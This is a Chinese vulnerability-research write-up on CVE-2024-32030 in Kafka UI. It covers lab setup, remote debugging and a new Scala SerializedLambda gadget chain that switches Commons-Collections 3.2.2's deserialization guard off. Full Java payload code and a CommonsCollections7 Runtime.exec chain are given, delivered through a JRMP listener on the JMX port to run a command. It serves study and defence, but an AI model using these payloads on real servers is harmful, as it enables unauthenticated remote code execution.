1
前言
CVE-2024-32030漏洞修复的文件变更中,将commons-collections从kafka-json-schema-serializer依赖中剔除,更改为 commons-collections4 ,很容易看出此举是为了消除受CC3.2.2组件的反序列化漏洞的影响,但是笔者在看变更的时候发现未授权访问和JMX注入相关的代码未做修改,于是笔者将部署kafka环境到复现漏洞的所有步骤都记录下来,抛砖引玉,供大家交流学习。
通过本篇文章你将可能学会:如何捕获匿名函数(Lambda表达式)用以反序列化利用 ,如何绕过最新CC3.2.2反序列化防御 ,如何在不编译Jar的情况下Debug项目源码。
2
漏洞描述
Kafka UI是Apache Kafka管理的开源Web UI。Kafka UI API允许用户通过指定网络地址和端口连接到不同的Kafka brokers。作为一个独立的功能,它还提供了通过连接到其JMX端口监视Kafka brokers性能的能力。CVE-2024-32030 中,由于默认情况下Kafka UI未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,进而控制服务器。
3
影响范围
Kafka UI ≤ 0.7.1
4
利用前提
满足以下任意一个条件:
设置中将 dynamic.config.enabled 属性设置为true。默认情况下未启用,但在许多 Kafka UI 教程中建议启用它,包括Kafka UI自己的 README.md 和 Document(如下图)。
攻击者可以访问正在连接到Kafka UI的Kafka集群。在这种情况下,攻击者可以利用此漏洞扩展访问权限,并在Kafka UI上执行代码。
5
漏洞分析
Diff分析
先看Diff:
正如开头所说,官方只修复了commons-collections这部分导致的反序列化漏洞,实际上触发反序列化的入口可能依旧还在。
环境搭建
为了复现和分析这个漏洞,需要准备kafka集群环境并且部署对应版本的kafka-ui,以下是releases地址:
kafka_2.13-3.5.0 :
https://archive.apache.org/dist/kafka/3.5.0/kafka\_2.13-3.5.0.tgz
kafka-ui v0.7.1 :
https://github.com/provectus/kafka-ui/releases/download/v0.7.1/kafka-ui-api-v0.7.1.jar
Kafka部署
由于该漏洞的利用点不在kafka集群本身,所以只需要启动kafka集群,启用对应的接口监听即可。
修改\kafka_2.13-3.5.0\config\server.properties配置文件中的IP地址为本机IP,其他为默认
在kafka解压后的目录下,打开一个新终端使用以下命令启动zookeeper服务:
.\bin\windows\zookeeper-server-start.bat .\config\zookeeper.properties
再新建一个终端,使用以下命令启动kafka服务:
.\bin\windows\kafka-server-start.bat .\config\server.properties
还可以使用以下命令创建Topic和发送接收消息(可选):
# 创建topic
.\bin\windows\kafka-topics.bat --create --topic users --partitions 3 --replication-factor 1 --if-not-exists --bootstrap-server 127.0.0.1:9092
# 查看topic
.\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092
# 发送消息
.\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic my_first_topic4
# 接收消息
.\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic my_first_topic4 --from-beginning
Kafka-UI部署&调试
为了方便调试源码,原本打算在本地编译运行,但是由于内网环境,kafka-ui项目编译时使用的pnpm工具需要配置CA证书才能下载对应的依赖进行打包:
大部分教程都只让关闭ssl来绕过证书问题,实则都无效(也可能是被内网防火墙拦截),只好另辟蹊径了。
目前的情况:有kafka-ui项目的源码+已编译成功的jar包,能否直接进行debug调试呢?
答案是可以的,启动jar包时使用 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 参数,然后在对应源码的IDEA项目中新建一个启动Configuration:
配置如下,注意端口号5005和对应的Spring启动类所在的classpathkafka-ui-api:
由于kafka-ui运行在jdk17的环境下,所以这里使用java的绝对路径进行启动,顺便加上启用动态配置的参数-Ddynamic.config.enabled=true(漏洞利用的前置条件之一),于是得到了完整的启动命令行:
C:\env\zulu17.50.19-ca-jdk17.0.11-win_x64\bin\java.exe -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar -Ddynamic.config.enabled=true kafka-ui-api-v0.7.1.jar
运行后会开始监听5005端口:
然后在IDEA中启用刚刚配置的Configuration,开始debug:
成功启用调试,效果如下:
这样就省去了在本地重新编译可执行文件的步骤,直接使用下载的jar包进行调试。
启动成功后直接访问https://localhost:8080/ui/clusters/create-new-cluster,可以创建一个新的Kafka Cluster,里面可以配置Kafka相关的信息,包括Bootstrap Servers地址端口,以及JMX监听端口:
(JMX(Java Management Extensions)是一个用于管理和监控Java应用程序,系统对象,设备和服务的框架,JMX 可以使用 JRMP 作为其传输协议之一,从而实现远程管理。
JRMP 是 Java RMI(Remote Method Invocation,远程方法调用)技术的一部分,专门用于在分布式环境中调用对象的方法。)
Commons-Collections3.2.2反序列化漏洞的防护
在刚刚的Diff分析中可以得知,修复前的反序列化利用点在Commons-Collections3.2.2上,
而熟悉的CC3,CC5,CC6以及CC7利用链都是在Commons-Collections:3.1版本上的,读者可以亲自尝试直接打CC反序列化链子,是没法成功的,Commons-Collections3.2.2中已经无法直接利用。
原因可以在Apache Commons官网找到,一则关于Commons Collections反序列化漏洞安全的公告:
https://commons.apache.org/proper/commons-collections/security-reports.html
部分内容如下:
(3.2.2: de-serialization of unsafe classes in the functor package will trigger an
"UnsupportedOperationException" by default. In order to re-enable the previous behavior, the system property "org.apache.commons.collections.enableUnsafeSerialization" has to be set to "true".
4.1: de-serialization support for unsafe classes in the functor package has been completely removed (unsafe classes do not implement Serializable anymore.)
翻译过来就是:在3.2.2版本默认情况下,反序列化functor包中的不安全类会触发“UnsupportedOperationException”。如果要启用序列化不安全类的行为,必须将系统属性“org.apache.commons.collects.enableUnsafe Serialization”设置为“true”。而在4.1版本中对functor包中不安全类的反序列化支持已完全移除不安全类不再实现Serializable接口。
在Commons-Collections3.2.2中,
对org.apache.commons.collections.functors.InstantiateTransformer的writeObject和readObject进行了重写,增加了对序列化和反序列化的类的校验:
org.apache.commons.collections.functors.FunctorUtils#checkUnsafeSerialization函数的实现如下:
也就是说当对org.apache.commons.collections.functors.InstantiateTransformer这个类进行序列化或者反序列化的时候,会实时从System Properties中读取org.apache.commons.collections.enableUnsafeSerialization的值,如果该值不为true就会终止序列化或反序列化的执行。
得出结论:只需要将这个属性值改为true,就可以继续打Commons-Collections3.2.2的反序列化漏洞。
Scala-library:击破CC3.2.2防护的利剑
既然找到了可以绕过Commons-Collections3.2.2防护的方法,下一步就是寻找能够修改System Properties的方法,最好是存在一条Gadget可以直接控制System.setProperty(key, value)的key和value。
使用静态分析工具Jar-analyzer,直接去查找Kafka-ui中调用java.lang.System#setProperty的代码:
(Jar Analyzer - 一个JAR包分析工具,批量分析JAR包搜索,方法调用关系搜索,字符串搜索,Spring组件分析,CFG分析,JVM Stack Frame分析,远程分析Tomcat,进阶表达式搜索,自定义SQL查询,字节码查看,字节码指令级的动态调试分析,反编译JAR包一键导出,一键提取序列化数据恶意代码。)
Scala-library中存在2处可以直接调用,很巧的是这两处都为Public,其中setProp()很容易会想到可以通过invokesetter的方法打反序列化:
然而此路并不通,因为上面分析的CC链不能直接打进去,同时也没有存在Fastjson反序列化漏洞的利用gadgets。
那就只剩下第一个匿名函数:$anonfun$addOne$1
匿名函数序列化SerializedLambda的妙用
首先要了解一下匿名函数的函数名为什么是$anonfun$addOne$1?
匿名函数(或lambda表达式)的名称通常会按照一定的命名规则生成:
所有匿名函数都会以$anonfun前缀开头,表明这是一个匿名函数;
$addOne 是这个匿名函数所在方法的方法名;
$1一个唯一的标识符,用来区分同一个方法中的多个匿名函数,编译器会为同一个方法中定义的每个匿名函数生成一个唯一的编号,从 $1 开始,依次递增。
也就是说这个函数名($anonfun$addOne$1)的意思是addOne方法内第1个匿名函数(Lambda)。
既然匿名函数也有属于自己的“函数名”,那也就可以通过构造SerializedLambda实例获取Lambda函数的序列化对象,笔者整理了一下SerializedLambda每个入参的含义,这样便于理解它是如何捕获匿名函数的:
序号
属性
含义
1
capturingClass
lambda表达式出现的类
2
functionalInterfaceClass
以斜杠分隔的形式表示返回的lambda对象的静态类型的名称
3
functionalInterfaceMethodName
lambda工厂现场的当前功能接口方法的名称
4
functionalInterfaceMethodSignature
lambda工厂现场存在的功能接口方法的签名
5
implMethodKind
实现方法的方法句柄类型
6
implClass
以斜杠分隔的形式表示包含实现方法的类的名称
7
implMethodName
实现方法的名称
8
implMethodSignature
实现方法的签名
9
instantiatedMethodType
类型变量替换为捕获站点实例化后的主要功能接口方法的签名
10
capturedArgs
lambda工厂站点的动态参数,表示lambda捕获的变量
构造SerializedLambda实例:
Tuple2 prop = new scala.Tuple2<>(key, value);
SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,
"scala/Function0", "apply", "()Ljava/lang/Object;",
MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",
"$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",
"()Lscala/sys/SystemProperties;", new Object[]{prop});
从匿名函数可以知道,下面只要找到序列化时有触发该函数的.apply()调用的地方,就可以执行System.setProperty()了,key和value从new scala.Tuple2<>(key, value)中取得。
Scala中的Gadgets分析
找到在iterable().next()中存在这样的实现:
从类名Iterator$$anon$22可以看出这也是一个Lambda表达式,通过IDEA可以更直观的看出这是位于scala.collection.Iterator#fill(int, int, scala.Function0)的Lambda表达式:
当这个scala.collection.Iterator对象在scala.math.Ordering.IterableOrdering这个比较器(scala提供的Comparator)中进行compare()操作时,会触发上面的next(),导致匿名函数的执行:
最后就是反序列化的入口,需要在kafka-ui中找到在一个类,满足以下3个条件:
实现Serializable接口
反序列化readObject()时调用Comparator的compare()函数
Comparator可控
Comparator类用的最多的地方就是Map和他的众多“小弟”(实现类以及实现类的子类),在众多Map中找到了ConcurrentSkipListMap,它的readObject()方法如下:
private void readObject(final java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in the Comparator and any hidden stuff
s.defaultReadObject();
// Same idea as buildFromSorted
@SuppressWarnings("unchecked")
Index<K,V>[] preds = (Index<K,V>[])new Index<?,?>[64];
Node<K,V> bp = new Node<K,V>(null, null, null);
Index<K,V> h = preds[0] = new Index<K,V>(bp, null, null);
Comparator<? super K> cmp = comparator;
K prevKey = null;
long count = 0;
for (;;) {
K k = (K)s.readObject();
if (k == null)
break;
V v = (V)s.readObject();
if (v == null)
throw new NullPointerException();
if (prevKey != null && cpr(cmp, prevKey, k) > 0)
throw new IllegalStateException("out of order");
......
}
cpr()方法如下:
/**
* Compares using comparator or natural ordering if null.
* Called only by methods that have performed required type checks.
*/
@SuppressWarnings({"unchecked", "rawtypes"})
static int cpr(Comparator c, Object x, Object y) {
return (c != null) ? c.compare(x, y) : ((Comparable)x).compareTo(y);
}
简而言之,当ConcurrentSkipListMap在readObject时,会遍历前后两个key,并使用给定的比较器(Comparator)进行比较操作(compare)。
那只需要在构造payload时创建一个ConcurrentSkipListMap对象,在里面存入前后两个Map,而这两个Map的key必须为scala.collection.View$Fill包含scala.Function0()的构造函数的实例,这个实例最终会调用 view.iterable().next(),同时System.setProperty的lambda将会被执行。
给出最终的反序列化Payload生成代码:
private static Object createFuncFromSerializedLambda(SerializedLambda serialized) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(serialized);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
return ois.readObject();
}
// For scala version 2.13.x
private static Object createSetSystemPropertyGadgetScala213(String key, String value) throws Exception {
ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
Tuple2 prop = new scala.Tuple2<>(key, value);
// Should be: 142951686315914362
long versionUID = ObjectStreamClass.lookup(scala.Tuple2.class).getSerialVersionUID();
System.out.println("VersionUID: " + versionUID);
SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,
"scala/Function0", "apply", "()Ljava/lang/Object;",
MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",
"$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",
"()Lscala/sys/SystemProperties;", new Object[]{prop});
Class<?> clazz = Class.forName("scala.collection.View$Fill");
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));
clazz = Class.forName("scala.math.Ordering$IterableOrdering");
ctor = rf.newConstructorForSerialization(
clazz, StubClassConstructor.class.getDeclaredConstructor()
);
Object iterableOrdering = ctor.newInstance();
// 在readObject中, ConcurrentSkipListMap最终会调用comparator.compare(Object x, Object y);
// 在ConcurrentSkipList初始化时先填入无用comparator (如果不先添加comparator的话就无法往里面填充数据,同时也为了防止提前触发)
ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);
// 将view填入map, 当view.iterable().next()被调用, System.setProperty lambda将被执行
map.put(view, 1);
map.put(view, 2);
// Replace the comparator with the IterableComparator
// IterableComparator is responsible for executing the view.iterable().next() on comparison
Field f = map.getClass().getDeclaredField("comparator");
f.setAccessible(true);
f.set(map, iterableOrdering);
return map;
}
public Object getObject(final String command) throws Exception {
//e.g command = "org.apache.commons.collections.enableUnsafeSerialization:true");
String[] nameValue = command.split(":");
return createSetSystemPropertyGadgetScala213(nameValue[0], nameValue[1]);
}
未授权访问Kafka-ui修改JMX端口打入CC7
访问8080默认端口,进入Kafka-ui,点击配置Kafka Cluster(当然再新建一个也是可以的):
点开Metrics配置项,选择Metrics Type为JMX,并配置任意一个端口用于监听(记住这个端口号):
还记得前面说过的一句话吗? ”JMX 可以使用 JRMP 作为其传输协议之一“
著名的YSOSerial工具提供了一个JRMPListener类(ysoserial的使用请自行查阅教程,不再赘述),用JRMP协议来达成JNDI注入反序列化payload,执行恶意代码。
第一步:破盾
首先使用前面的Scala反序列化Payload修改系统属性org.apache.commons.collections.enableUnsafeSerialization的值为true,绕过Commons-Collections3.2.2的防御,启动参数配置如下(分别是端口,Payload名称,自定义Payload):
1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
端口为刚刚配置的JMX端口1718:
启动JRMPListener,触发反序列化:
可以在kafka-ui中调试,alt+F8打开Evaluate窗口验证:
第二步:成功利用
接下来使用YSOSerial自带的CommonsCollections7利用链来打远程命令执行反序列化漏洞,Payload如下:
public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
设置JRMPListener启动参数:
1718 CommonsCollections7 "calc.exe"
开启JRMPListener,注入CC7,完成利用:
6
文末总结
回顾一下整个攻击链,首先需要利用Kafka-ui集成的Scala-Library的gadget修改系统属性,绕过最新的CC3.2.2关于反序列化漏洞的防御,然后是常规的JNDI注入CC3或者CC7反序列化的漏洞利用。
官方在最新版Kafka-ui 0.7.2中关于CVE-2024-32030的修复中,仅将commons-collections3.2.2换成了commons-collections4,也就是说Kafka-ui官方并没有对未授权访问后台通过JNDI注入修改系统属性做修复。
那么关于System.Properties可控是否存在漏洞利用呢?和银针安全实验室大佬 @黄连冠 讨论过,“这个最简单利用方式是结合System.loadLibrary()去设置一个动态链接库的目录,但是高版本jdk把java.lang.ClassLoader#loadLibrary的实现改了”。
但LoadLibrary是无法实时生效的,仅在JVM启动时加载。在这篇文章里面java.library.path这个System Properties是Solr打完反序列化后用来回显执行结果的。目前而笔者遇到的情况是 (JDK17)只能修改Java Properties的值,无法重启JVM(重启了也会随着properties的重新加载而覆盖),除了用来绕过CC3.2.2的反序列化限制,好像暂时没找到其他利用,或许还能找到新的利用链?毕竟在最新的修复版本中JNDI注入依旧存在。
本篇文章抛砖引玉,欢迎大家讨论交流~
7
参考链接
https://github.com/provectus/kafka-ui/releases
https://nvd.nist.gov/vuln/detail/CVE-2024-32030
https://docs.kafka-ui.provectus.io/configuration/configuration-wizard
https://github.com/jar-analyzer/jar-analyzer
https://www.runoob.com/manual/jdk11api/java.base/java/lang/invoke/SerializedLambda.html
https://www.cnblogs.com/throwable/p/15611586.html
https://avd.aliyun.com/detail?id=AVD-2024-32030
https://www.freebuf.com/articles/web/388411.html
https://commons.apache.org/proper/commons-collections/security-reports.html
https://securitylab.github.com/advisories/GHSL-2023-229\_GHSL-2023-230\_kafka-ui/
本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
推荐阅读
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
华为终端安全奖励计划翻倍活动即日开启,点击踏上您的寻漏征程!
点这里
关注我们,一键三连~